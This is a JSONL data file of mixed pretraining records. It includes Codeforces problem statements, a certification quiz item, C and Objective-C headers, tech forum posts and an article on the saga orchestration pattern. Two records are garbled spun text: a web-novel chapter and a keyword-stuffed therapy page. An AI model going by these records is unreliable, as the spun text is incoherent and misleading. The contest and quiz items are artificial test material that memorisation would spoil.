When using this flag DrawText will not actually draw anything, it is purely a way of obtaining the size of the text.\nText drawing can be slow and so there are a couple of optimisations provided by the font interface. Unfortunately these are not very well documented so I decided to carry out some tests of my own to determine some real world values.\nI found that passing a sprite object as the first parameter to DrawText improved rendering speeds by up to 4 times - quite a significant improvement.\nThe sprite interface also provides a function to allow you to preload a text string into video card memory - PreloadText. This should theoretically improve performance as the function would not need to assemble the characters each time and upload them to the graphic card. However from my test results I found little speed improvement.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 705, "token_count_with_eod": 706, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You work as a Marketing Manager for Blue Well Inc. You are using Microsoft Outlook 2010 for messaging and e-mailing. MS Outlook 2010 has been configured to use an IMAP account. You want to share your calendar with the other department Members. Which of the following actions will you take to accomplish the task?\nClick the Share My Calendar link on the Navigation Pane.\nClick the Send Calendar link in the Calendar View.\nClick the Publish My Calendar link on the Navigation Pane.\nCreate a message and attach the calendar to it as an item.\nWant to practice for 77-884 - Outlook 2010 ?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 139, "token_count_with_eod": 140, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "//\n//     Generated by classdumpios 1.0.1 (64 bit) (iOS port by DreamDevLost)(Debug version compiled Sep 26 2020 13:48:20).\n//\n//  Copyright (C) 1997-2019 Steve Nygard.\n//\n\n#import <objc/NSObject.h>\n\n@class GEOAnalyticsPipelineSessionConfig;\n\n@interface GEOAnalyticsPipelineUploadStage : NSObject\n{\n    GEOAnalyticsPipelineSessionConfig *_sessionConfig;\t// 8 = 0x8\n    double _ttl;\t// 16 = 0x10\n}\n\n- (void).cxx_destruct;\t// IMP=0x000000010000a464\n@property(readonly, nonatomic) double ttl; // @synthesize ttl=_ttl;\n@property(readonly, nonatomic) GEOAnalyticsPipelineSessionConfig *sessionConfig; // @synthesize sessionConfig=_sessionConfig;\n- (id)initWithSessionConfig:(id)arg1 ttl:(double)arg2;\t// IMP=0x000000010000a3cc\n\n@end", "source": "cpt_stack_code", "language": "code", "token_count": 254, "token_count_with_eod": 255, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Brilliantnovel I’m Secretly Married to a Big Shot – Chapter 2014 – I’ve Never Taught You to Say SuChapter Mean Words coat cattle -p3\nNovel–I’m Secretly Married to a Big Shot–I’m Secretly Married to a Big Shot\nChapter 2014 – I’ve Never Taught You to Say SuChapter Mean Words circle neat\n“You’re requesting for a pounding!” Shangguan Hua struck his child during the facial area and harm himself, but he needed to display his att.i.tude to Ancient Madam and the other Mo household. “I’ve never explained one to say this kind of indicate words and phrases. In which will be the manners?”\nChapter 2014: I’ve Never Trained Anyone to Say This sort of Mean Words and phrases\nShangguan Qing was insulting the Mo loved ones in their own individual dwelling.\nShangguan Qing named Qiao Mianmian a vixen, resulting in Classic Madam’s manifestation to turn unpleasant.\nOlder Madam searched amiable and had no temper.\nShe obtained got somebody to take a look at it ahead of.\nNo matter if the matter was cleared or perhaps not, she already detested Shangguan Qing.\nShangguan Qing was insulting the Mo family in their own individual home.\n“There had been a uncertainty between my little princess and Younger Madam Mo, plus some unpleasant items took place before.”\nSection 2014: I have Never Educated You to definitely Say These kinds of Signify Ideas\nEven if she possessed a unique boyfriend, he’d just mess around along with her.\nShe coated her encounter in agony and looked up at her dad in disbelief. “Dad, you, you reach me!”\nThe Legendary Master’s Wife\nSection 2014: I’ve Never Presented Anyone to Say This kind of Really mean Thoughts\nOutdated Madam looked amiable along with no temper.\nQiao Mianmian was the Small Madam of your Mo household.\nShe transformed around and glared at Qiao Mianmian. “I wasn’t wrong. She was shameless, to start with. She seduced Buddy Zeli!”\n“You’re seeking a whipping!” Shangguan Hua attack his little girl on the experience and injure him or her self, but he needed to demonstrate his att.i.tude to Older Madam and the remainder of the Mo family. “I’ve never explained someone to say these suggest thoughts. The place are the manners?”\nAged Madam was not anymore kind to Shangguan Qing.\nThe Qiao household was just a typical household. At many, people were nouveau riche.\nShe turned around and glared at Qiao Mianmian. “I wasn’t wrong. She was shameless, to begin with. She seduced Buddy Zeli!”\nSection 2014: I’ve Never Coached You to definitely Say This sort of Signify Words\nIf Qiao Mianmian was Fresh Madam Mo, then her so-identified as boyfriend…\n“No, Classic Madam, do not be mad. I didn’t show that at all.” Shangguan Hua found that Aged Madam’s concept was unpleasant, grabbed Shangguan Qing, and walked forwards. He stated anxiously, “Old Madam, I taken my daughter here now to apologize to Youthful Madam Mo.\nOld Madam looked amiable along with no temper.\nQiao Mianmian was the Little Madam with the Mo loved ones.\nShangguan Qing termed Qiao Mianmian a vixen, resulting in Older Madam’s manifestation to make awful.\nIf Qiao Mianmian was Little Madam Mo, then her so-called boyfriend…\nHence, Shangguan Qing didn’t get Qiao Mianmian seriously in anyway.\nShangguan Qing was insulting the Mo household in their own house.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 822, "token_count_with_eod": 823, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Petya has n positive integers a1, a2, ..., an.\n\nHis friend Vasya decided to joke and replaced all digits in Petya's numbers with a letters. He used the lowercase letters of the Latin alphabet from 'a' to 'j' and replaced all digits 0 with one letter, all digits 1 with another letter and so on. For any two different digits Vasya used distinct letters from 'a' to 'j'.\n\nYour task is to restore Petya's numbers. The restored numbers should be positive integers without leading zeros. Since there can be multiple ways to do it, determine the minimum possible sum of all Petya's numbers after the restoration. It is guaranteed that before Vasya's joke all Petya's numbers did not have leading zeros.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "[size=5]When you dowwnloded SP2. Did you take care to download the Home Version and NOT the Professional Version? Also, You must make ABSOLUTELY certian that there are no Spyware or Ad Ware and Especially a virus or hijacker in your BHO fiiles. Your computer must be virgin clean before downloading SP2. SP2 makes a restore point on your system and if their is an existing problem SP2 has no way of knowing that. It simply accepts your system as it is and thus protects what is already there. I am no professional. My system got hijacked a month ago and I nearly had to throw my computer in the trash. Tom Coyote saved my $1000 computer. GOD KEEP AND BLESS HIM... I would also strongly suggest that you run this - http://www.savicom.n...lobalunsub.html\nPS: I use Microsoft's \"Real Time\n\" Giant Anti-Spy Software and, Yahoo Anti-Spy Toolbar and POP UP blocker.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 208, "token_count_with_eod": 209, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "// Copyright 2017-2019 Espressif Systems (Shanghai) PTE LTD\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n\n//     http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n#pragma once\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include \"sdkconfig.h\"\n\n#if CONFIG_GATTC_ENABLE\n\n#include \"esp_gattc_api.h\" //for the callback\n\n/**\n * @brief HID BLE GATTC System Callback. Attach it in your code\n *        or call it from your gattc event handler to allow the HID stack to function\n * @param event     : Event type\n * @param gattc_if  : GATTC Interface ID\n * @param param     : Point to callback parameter, currently is union type\n */\nvoid esp_hidh_gattc_event_handler(esp_gattc_cb_event_t event, esp_gatt_if_t gattc_if, esp_ble_gattc_cb_param_t *param);\n\n#endif /* CONFIG_GATTC_ENABLE */\n\n#ifdef __cplusplus\n}\n#endif", "source": "cpt_stack_code", "language": "code", "token_count": 331, "token_count_with_eod": 332, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Assistant Teaching Professor\nUniversity of California, Santa Barbara\nSanta Barbara, CA 93106-5070\nLuis de Florez Award for Outstanding Ingenuity and Creative Judgement, MIT; Graduate Fellowship for Design and Invention, James Dyson Foundation\nTsai's primary focus at UC Santa Barbara is to contribute to the Mechanical Engineering Department's design program by leading design-focused classes for first-, second-, and third-year undergraduate students. He is interested in early-stage design process, idea generation, creativity, and how products and people interact.\nPhD Massachusetts Institute of Technology\nBS Massachusetts Institute of Technology", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 127, "token_count_with_eod": 128, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "When you were a child you must have been told a puzzle of bags and coins. Anyway, here's one of its versions:\n\nA horse has three bags. The first bag has one coin, the second bag has one coin and the third bag has three coins. In total, the horse has three coins in the bags. How is that possible?\n\nThe answer is quite simple. The third bag contains a coin and two other bags.\n\nThis problem is a generalization of the childhood puzzle. You have n bags. You know that the first bag contains a1 coins, the second bag contains a2 coins, ..., the n-th bag contains an coins. In total, there are s coins. Find the way to arrange the bags and coins so that they match the described scenario or else state that it is impossible to do.", "source": "cpt_codeforces", "language": "en", "token_count": 168, "token_count_with_eod": 169, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I've attached a screenshot of what I think is a much better solution (to change the website). I think this simple change would alleviate the need for any messages in the application (though still wouldn't object to \"(unstable)\" or \"(development)\" in the title bar, just not a long instructional message).\nThis can be done by adding the following HTML:\n<ul style=\"margin-top: 0; margin-bottom: 0\">\n<li>The latest stable release is: 0.8.5 (<strong>recommended</strong>)</li>\n<li>The latest development release is: 0.9.0</li>\nYou could obviously make these numbers be dynamically loaded from somewhere, if that makes updating less cumbersome.\nThis suggestion is assuming you have no control over the http://pspp.awardspace.com/\npage. If you do, it would be much better to redesign it so that it has a salient link to the most stable recent release, and a harder-to-find-and-accidentally-download link to the dev version.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 216, "token_count_with_eod": 217, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "traditional in-person therapy, Counseling Centers ;Near Me consisting of convenience, cost, and therapist choice. While there are other online therapy platforms readily available, BetterHelp stands out for its big network of therapists and affordable rates plans. Eventually, the option in between online treatment and conventional in-person treatment boils down to individual preference and specific needs.\nTherapy can be advantageous for a wide range of psychological health conditions. In this article, we’ll explore 10 various conditions that people might have and how treatment can assist.\nDepression is a typical psychological health condition that impacts countless individuals worldwide. Therapy can help by providing a safe space to talk about your feelings and feelings. A therapist can assist you determine unfavorable thought patterns and behaviors and work with you to establish coping techniques and positive routines.\nAnxiety is another typical mental health condition that can be incapacitating. Treatment can help by teaching you relaxation methods, such as deep breathing and mindfulness, and dealing with you to develop coping techniques to handle stress and anxiety triggers.\nPTSD, or trauma, is a mental health condition that can develop after experiencing or witnessing a traumatic event. Therapy can assist by providing a safe space to process the injury and develop coping methods to manage the signs of PTSD.\nOCD, or obsessive-compulsive condition, is a mental health condition characterized by compulsive behaviors and intrusive thoughts. Treatment can assist by teaching you how to identify and handle these behaviors and thoughts, as well as establish coping techniques to handle the signs of OCD. Counseling Centers ;Near Me\nBipolar illness is a psychological health condition identified by extreme state of mind swings, varying from depressive episodes to manic episodes. Treatment can help by offering support and assistance in handling these mood swings, developing coping methods, and enhancing interaction skills.\nEating disorders, such as anorexia and bulimia, are psychological health conditions that can have major physical consequences. Therapy can help by dealing with the underlying psychological and emotional problems that add to the eating disorder, as well as developing techniques to manage the physical signs.\nDrug abuse can be a difficult practice to break, however treatment can be a reliable tool in managing addiction. Treatment can help by attending to the underlying mental and emotional issues that add to drug abuse, as well as establishing techniques to manage yearnings and triggers.\nRelationship concerns, such as communication issues and conflict, can have a significant influence on mental health. Treatment can help by providing a safe area to talk about these problems and establish techniques to improve communication and resolve conflict.\nGrief and loss can be a difficult experience to navigate, but therapy can help by offering support and assistance through the grieving procedure. A therapist can assist you recognize and manage the feelings related to sorrow and loss, along with establish coping strategies to move on.\nTension is a common experience for lots of people, however it can have unfavorable effect on mental health. Treatment can help by teaching relaxation strategies and developing coping techniques to handle stress, along with determining and attending to the underlying psychological and mental issues that contribute to stress.\nIn conclusion, therapy can be a reliable tool in handling a large range of mental health conditions, from anxiety and anxiety to substance abuse and relationship concerns. If you are battling with your psychological health, consider looking for the support and guidance of a certified therapist.\nSeeing a therapist can have many benefits for a person’s mental health and health and wellbeing. Here are a few of the advantages of seeing a therapist from a psychological perspective:\nAmong the main advantages of seeing a therapist is increased self-awareness. A therapist can help you recognize patterns in your ideas, habits, and feelings, along with the underlying beliefs and worths that drive them. By becoming more knowledgeable about these patterns, you can get a much deeper understanding of yourself and your inspirations, which can cause individual development and development.\nEnhanced psychological policy\nPsychological guideline is the ability to handle and manage one’s feelings in a healthy and adaptive way. Seeing a therapist can assist people find out and practice psychological policy strategies, such as deep breathing and mindfulness, that can be useful in minimizing and managing challenging emotions stress.\nBetter social relationships\nSocial relationships are an essential component of psychological health and health and wellbeing. Seeing a therapist can help individuals improve their communication skills, assertiveness, and empathy, which can cause healthier and more satisfying relationships with others.\nIncreased analytical abilities\nTherapy can likewise help individuals develop problem-solving abilities. By dealing with a therapist, individuals can discover to approach problems in a more effective and organized method, determine potential options, and make decisions that are lined up with their values and objectives.\nSelf-esteem describes an individual’s sense of self-respect and value. Seeing a therapist can assist people recognize and challenge unfavorable self-talk and beliefs that can contribute to low self-confidence. Through treatment, individuals can discover to develop a more positive and realistic self-image, which can lead to increased self-confidence and self-regard.\nImproved coping skills\nCoping skills are methods and techniques that people use to handle tension and misfortune. Seeing a therapist can assist individuals establish and practice coping skills that are customized to their specific needs and preferences. Coping skills can consist of mindfulness, relaxation techniques, problem-solving, and social assistance, among others.\nDecreased symptoms of mental illness\nTreatment can also work in reducing signs of mental disorder, such as depression, stress and anxiety, and trauma (PTSD). Therapists use evidence-based treatments, such as cognitive-behavioral therapy (CBT), dialectical behavior modification (DBT), and eye motion desensitization and reprocessing (EMDR), to help individuals manage signs and enhance their general quality of life.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1151, "token_count_with_eod": 1152, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Uh oh! Ray lost his array yet again! However, Omkar might be able to help because he thinks he has found the OmkArray of Ray's array. The OmkArray of an array $$$a$$$ with elements $$$a_1, a_2, \\ldots, a_{2k-1}$$$, is the array $$$b$$$ with elements $$$b_1, b_2, \\ldots, b_{k}$$$ such that $$$b_i$$$ is equal to the median of $$$a_1, a_2, \\ldots, a_{2i-1}$$$ for all $$$i$$$. Omkar has found an array $$$b$$$ of size $$$n$$$ ($$$1 \\leq n \\leq 2 \\cdot 10^5$$$, $$$-10^9 \\leq b_i \\leq 10^9$$$). Given this array $$$b$$$, Ray wants to test Omkar's claim and see if $$$b$$$ actually is an OmkArray of some array $$$a$$$. Can you help Ray?\n\nThe median of a set of numbers $$$a_1, a_2, \\ldots, a_{2i-1}$$$ is the number $$$c_{i}$$$ where $$$c_{1}, c_{2}, \\ldots, c_{2i-1}$$$ represents $$$a_1, a_2, \\ldots, a_{2i-1}$$$ sorted in nondecreasing order.", "source": "cpt_codeforces", "language": "en", "token_count": 317, "token_count_with_eod": 318, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "A sequence of $$$n$$$ numbers is called permutation if it contains all numbers from $$$1$$$ to $$$n$$$ exactly once. For example, the sequences $$$[3, 1, 4, 2]$$$, [$$$1$$$] and $$$[2,1]$$$ are permutations, but $$$[1,2,1]$$$, $$$[0,1]$$$ and $$$[1,3,4]$$$ are not.\n\nFor a given number $$$n$$$ you need to make a permutation $$$p$$$ such that two requirements are satisfied at the same time:\n\n- For each element $$$p_i$$$, at least one of its neighbors has a value that differs from the value of $$$p_i$$$ by one. That is, for each element $$$p_i$$$ ($$$1 \\le i \\le n$$$), at least one of its neighboring elements (standing to the left or right of $$$p_i$$$) must be $$$p_i + 1$$$, or $$$p_i - 1$$$.\n- the permutation must have no fixed points. That is, for every $$$i$$$ ($$$1 \\le i \\le n$$$), $$$p_i \\neq i$$$ must be satisfied.\n\nLet's call the permutation that satisfies these requirements funny.\n\nFor example, let $$$n = 4$$$. Then [$$$4, 3, 1, 2$$$] is a funny permutation, since:\n\n- to the right of $$$p_1=4$$$ is $$$p_2=p_1-1=4-1=3$$$;\n- to the left of $$$p_2=3$$$ is $$$p_1=p_2+1=3+1=4$$$;\n- to the right of $$$p_3=1$$$ is $$$p_4=p_3+1=1+1=2$$$;\n- to the left of $$$p_4=2$$$ is $$$p_3=p_4-1=2-1=1$$$.\n- for all $$$i$$$ is $$$p_i \\ne i$$$.\n\nFor a given positive integer $$$n$$$, output any funny permutation of length $$$n$$$, or output -1 if funny permutation of length $$$n$$$ does not exist.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I am working in C++. We downloaded some C code from ITU that implements some compression algorithms. I am rather new to C++ and I want to know what is the right approach to using C code in C++.\nShould I translate it all into C++ classes?\nIs there a common alternate approach?\nAll of the code will be compiled together on Linux using g++ 3.2.x.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 83, "token_count_with_eod": 84, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "A.R.C. Markland-N is a tall building with $$$n$$$ floors numbered from $$$1$$$ to $$$n$$$. Between each two adjacent floors in the building, there is a staircase connecting them.\n\nIt's lunchtime for our sensei Colin \"ConneR\" Neumann Jr, and he's planning for a location to enjoy his meal.\n\nConneR's office is at floor $$$s$$$ of the building. On each floor (including floor $$$s$$$, of course), there is a restaurant offering meals. However, due to renovations being in progress, $$$k$$$ of the restaurants are currently closed, and as a result, ConneR can't enjoy his lunch there.\n\nCooneR wants to reach a restaurant as quickly as possible to save time. What is the minimum number of staircases he needs to walk to reach a closest currently open restaurant.\n\nPlease answer him quickly, and you might earn his praise and even enjoy the lunch with him in the elegant Neumanns' way!", "source": "cpt_codeforces", "language": "en", "token_count": 208, "token_count_with_eod": 209, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Ugh. I ended up at PetSmart this morning (was with my mom and she needed cat food) and I bought frozen brine shrimp/bloodworms for my bettas.\nI have never fed this kind of food before, and well, obviously I fed them too much because all three are now bloated! I am not too worried about two of them, they just look well fed I guess, but oh my gosh, when I saw Lenymo's belly I felt a pit in my stomache... it's so big and round that I am worried I messed him up and he is going to get swim bladder or something\nI didn't feed him anymore than the other two but his stomache looks really big.\nHe is a crowntail and i know CT's look more bloated than others but still I am kind of worried, I have never had any over feeding issues with any of them/seen them that bloated before. I am going to watch them closely but could I have done damage here, can ONE overfeeding do damage??\nI fed about half a cube of the thawed out brine shrimp between the 3 of them, which was obviously too much... I am guessing it should be about a 1/4 cube next time?? Aiya (I am definitely going to fast Lenymo tomorrow)\nAny insight to how to feed this stuff properly/safely would be great. I got the frozen stuff because so many people recommend it but I'm scared I am going to mess up like this again and risk giving them all SBD or something", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 324, "token_count_with_eod": 325, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Petya's friends made him a birthday present — a bracket sequence. Petya was quite disappointed with his gift, because he dreamed of correct bracket sequence, yet he told his friends nothing about his dreams and decided to fix present himself.\n\nTo make everything right, Petya is going to move at most one bracket from its original place in the sequence to any other position. Reversing the bracket (e.g. turning \"(\" into \")\" or vice versa) isn't allowed.\n\nWe remind that bracket sequence $$$s$$$ is called correct if:\n\n- $$$s$$$ is empty;\n- $$$s$$$ is equal to \"($$$t$$$)\", where $$$t$$$ is correct bracket sequence;\n- $$$s$$$ is equal to $$$t_1 t_2$$$, i.e. concatenation of $$$t_1$$$ and $$$t_2$$$, where $$$t_1$$$ and $$$t_2$$$ are correct bracket sequences.\n\nFor example, \"(()())\", \"()\" are correct, while \")(\" and \"())\" are not. Help Petya to fix his birthday present and understand whether he can move one bracket so that the sequence becomes correct.", "source": "cpt_codeforces", "language": "en", "token_count": 243, "token_count_with_eod": 244, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "A sky scraper with 1000 floors has been built in the city of N. It has modern superfast elevators to help to travel from one floor to another. Each elevator has two doors, the front one and the back one. If one goes in through the front door, he goes out through the back one and vice versa. The elevator has two rails numbered with numbers 1 and 2. Rail 1 is located to the left of the entrance to the front door (or correspondingly, to the right of the entrance to the back door). Rail 2 is located opposite it, to the right of the entrance to the front door and to the left of the entrance to the back door. We know that each person in the city of N holds at a rail with the strongest hand.\n\nOne day a VIP person visited the city and of course, he took a look at the skyscraper and took a ride in the elevator. We know the door through which he entered and the rail he was holding at. Now we need to determine as soon as possible whether he is left-handed or right-handed.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Hi everyone , I use Crystal Reports for SAP Business One\nWhen I click on Page Setup , it opens a windows which says Crystal reports stopped working and trying to find solution . Then I must close CR\nHow can I solve this problem ?\nIn attach a picture in the moment when the problem happens", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 60, "token_count_with_eod": 61, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "In the previous post, we saw some of the challenges of implementing distributed transactions and how to implement Saga’s pattern using the Event/Choreography approach. In this article, let’s talk about how to address some of its problems like complex transactions or cyclic dependencies of events by using another type of Saga’s implementation called Command or Orchestration.\nSaga’s Command/Orchestration Sequencing Logic\nIn the orchestration approach, we define a new service with the sole responsibility of telling each participant what to do and when. The saga pattern orchestrator communicates with each service in a command/reply style telling them what operation should be performed.\nLet’s see how it looks like using our previous e-commerce example:\n- Order Service saves a pending order and asks Order Saga Orchestrator (OSO) to start a create order transaction.\n- OSO sends an Execute Payment command to Payment Service, and it replies with a Payment Executed message\n- OSO sends a Prepare Order command to Stock Service, and it replies with an Order Prepared message\n- OSO sends a Deliver Order command to Delivery Service, and it replies with an Order Delivered message\nIn the case above, Order Saga Orchestrator knows what is the flow needed to execute a “create order” transaction. If anything fails, it is also responsible for coordinating the rollback by sending commands to each participant to undo the previous operation.\nA standard way to model a saga orchestrator is a State Machine where each transformation corresponds to a command or message. State machines are an excellent pattern to structure a well-defined behavior as they are easy to implement and particularly great for testing.\nRolling Back in Saga’s Command/Orchestration\nRollbacks are a lot easier when you have an orchestrator to coordinate everything:\n- Stock Service replies to OSO with an Out-Of-Stock message;\n- OSO recognizes that the transaction has failed and starts the rollback\n- In this case, only a single operation was executed successfully before the failure, so OSO sends a Refund Client command to Payment Service and set the order state as failed\nBenefits and Drawbacks of Using Saga’s Command/Orchestration Design\nOrchestration-based sagas have a variety of benefits:\n- Avoid cyclic dependencies between services, as the saga orchestrator invokes the saga participants but the participants do not invoke the orchestrator\n- Centralize the orchestration of the distributed transaction\n- Reduce participants’ complexity as they only need to execute/reply commands.\n- Easier to be implemented and tested\n- The transaction complexity remains linear when new steps are added\n- Rollbacks are easier to manage\n- If you have a second transaction willing to change the same target object, you can easily put it on hold on the orchestrator until the first transaction ends.\nHowever, this approach still has some drawbacks, one of them is the risk of concentrating too much logic in the orchestrator and ending up with an architecture where the smart orchestrator tells dumb services what to do.\nAnother downside of Saga’s Orchestration-based is that it slightly increases your infrastructure complexity as you will need to manage an extra service.\nSaga Pattern Tips\nCreate a Unique Id per Transaction\nHaving a unique identifier for each transaction is a common technique for traceability, but it also helps participants to have a standard way to request data from each other. By using a transaction Id, for instance, Delivery Service could ask Stock Service where to pick up the products and double check with the Payment Service if the order was paid.\nAdd the Reply Address Within the Command\nInstead of designing your participants to reply to a fixed address, consider sending the reply address within the message, this way you enable your participants to reply to multiple orchestrators.\nIf you are using queues for communication between services (like SQS, Kafka, RabbitMQ, etc.), I personally recommended you make your operations Idempotent. Most of those queues might deliver the same message twice.\nIt also might increase the fault tolerance of your service. Quite often a bug in a client might trigger/replay unwanted messages and mess up with your database.\nAvoiding Synchronous Communications\nAs the transaction goes, don’t forget to add into the message all the data needed for each operation to be executed. The whole goal is to avoid synchronous calls between the services just to request more data. It will enable your services to execute their local transactions even when other services are offline.\nThe downside is that your orchestrator will be slightly more complex as you will need to manipulate the requests/responses of each step, so be aware of the tradeoffs.\nIf you have any questions, feel free to ask me at @deniswsrosa\nIs there an implementation?\nHere’s an alternative to a state machine as implementation: https://github.com/bertilmuth/requirementsascode. I’m glad if you let me know what you think.\nHello, in your visualization you used Message Broker and channels. So it looks like Sage Publish to broker channel. And for example Payment Subscriber do that channel and receive that message. After that it should send result to another channel for Saga. So it’s PUB/SUB MQ. So if Payment service is offline, Saga should proivde some logic with timeout for response. So why we not use for that case REQ/REP (Request/Response MQ model), or direct request to Payment service? So we will immediately to know response and service availability?", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The feature selection. The filtering process of feature selection. The goal of feature selection is to detect features associated with PFS and gene expression changes but not related with patient ages and tumor stages. As a result, (a) 134 features (genes) were selected from copy number data, and (b) 59 features (CpG sites) were selected from methylation data.\nHsu et al. BMC Genomics 2012 13(Suppl 6):S13 doi:10.1186/1471-2164-13-S6-S13", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 134, "token_count_with_eod": 135, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given a directed weighted graph with n nodes and 2n - 2 edges. The nodes are labeled from 1 to n, while the edges are labeled from 1 to 2n - 2. The graph's edges can be split into two parts.\n\n- The first n - 1 edges will form a rooted spanning tree, with node 1 as the root. All these edges will point away from the root.\n- The last n - 1 edges will be from node i to node 1, for all 2 ≤ i ≤ n.\n\nYou are given q queries. There are two types of queries\n\n- 1 i w: Change the weight of the i-th edge to w\n- 2 u v: Print the length of the shortest path between nodes u to v\n\nGiven these queries, print the shortest path lengths.", "source": "cpt_codeforces", "language": "en", "token_count": 192, "token_count_with_eod": 193, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Hi, I'm having issues with Image Gallery in ss 2.4.3 (image gallery build 522).\nWhen adding new images to albums, the dropdown to select album always shows the default album, so I have to manually select the album I'm in from the dropdown... has anyone else been having issues with ImageGal in 2.4.3??\nI also experience some problems with Image Gallery and SS 2.4.3. When creating a Image_gallery page the loader icon keeps looping and an error pops up without any message. I have uninstalled and installed dataobjectmanager, swfupload and imagegallery a couple of times but it did not work out.\nI know my post won't solve your problem, but i hope one post will.\nI have just installed image_gallery on a live server even though it did not work on my local server.\nOn my localhost i saw the upload button but i could not upload any images and create a page with the image_gallery properties.\nI have followed the steps below to install it.\n- place dataobject_manager v521 in root\n- place swfupload v401 in root\n- place image_gallery v516 in root\nNow having it installed on a live server i cannot even see the upload button in the \"files & images\" section.\nI have just logged in into your test environment and everything in your test environment seems to work.\nI saw that the test environment was running SS 2.4. Does that mean i need to downgrade it or should image_gallery even work on 2.4.3?\nIt works now, but i receive an HTTP error when uploading a file. I will try to figure out what is causing that.\nI have already disabled my mod_security in the htaccess, but that did not solve it. Thanks for your help so far.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 390, "token_count_with_eod": 391, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given integers a, b and c. Calculate ab modulo c.", "source": "cpt_codeforces", "language": "en", "token_count": 15, "token_count_with_eod": 16, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "This is an unusual problem in an unusual contest, here is the announcement: http://codeforces.com/blog/entry/73543\n\nAndrey has just started to study competitive programming and he is fascinated by bitsets and operations on them.\n\nFor example, assume he has a bitset with $$$n$$$ elements. He can change the values of the bitset in the following way:\n\n1. He chooses different indices $$$i_0$$$, $$$i_1$$$, $$$i_2$$$, ... $$$i_k$$$ ($$$k \\geq 1$$$, $$$1 \\leq i_j \\leq n$$$) so that bit $$$i_0$$$ is different from all bits $$$i_1$$$, $$$i_2$$$, ... $$$i_k$$$.\n2. He flips all these $$$k + 1$$$ bits.\n\nHe calls a bitset amazing if he can flip all the bits using several such changes.\n\nAnother topic Andrey is interested in is probability theory. For given $$$n$$$ and $$$p$$$, where $$$p$$$ is a rational number represented as $$$\\frac{a}{b}$$$ with integer $$$a, b$$$, he considers all bitsets of length $$$n$$$, where each element is equal to $$$1$$$ with probability $$$p$$$ independently of the other elements.\n\nHe wants to know the probability that a bitset generated by the described method is amazing.\n\nIt is guaranteed that the answer to this problem can be represented as a rational number $$$\\frac{x}{y}$$$, where $$$y$$$ is coprime with $$$1\\,234\\,567\\,891$$$. You need to output such integer $$$z$$$ that $$$x \\equiv yz \\pmod{1\\,234\\,567\\,891}$$$ and $$$0 \\leq z < 1\\,234\\,567\\,891$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 416, "token_count_with_eod": 417, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Is it planned to integrate a built-in whois functionality?\nIn the past years i used Net-Peeker to observe my network connections and investigate who is behind a specific address. But Net-Peeker seems to be discontinued since 3 three years until now and it is just a question of time until this piece of software will not work anymore. At the moment, i use both software, but i would like to completely move to glasswire.\nA feature i very liked was the built-in whois request, which can be performed with a mouse click on the remote address. I have attached a screenshot of this feature to make it clear, what i mean:\nI know, i could use the google to perform a whois request but it is very comfortable to make it from within.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 161, "token_count_with_eod": 162, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This is one recipe for charging biochar, but there are many different ways of doing it. What you are really trying to do, is add nutrients and micro-organisms to the biochar before adding it to your soil. In the video, I have used a mix of compost, animal manure, fish, blood & bone meal to achieve this.\n- What is biochar?\n- How to use biochar", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 85, "token_count_with_eod": 86, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
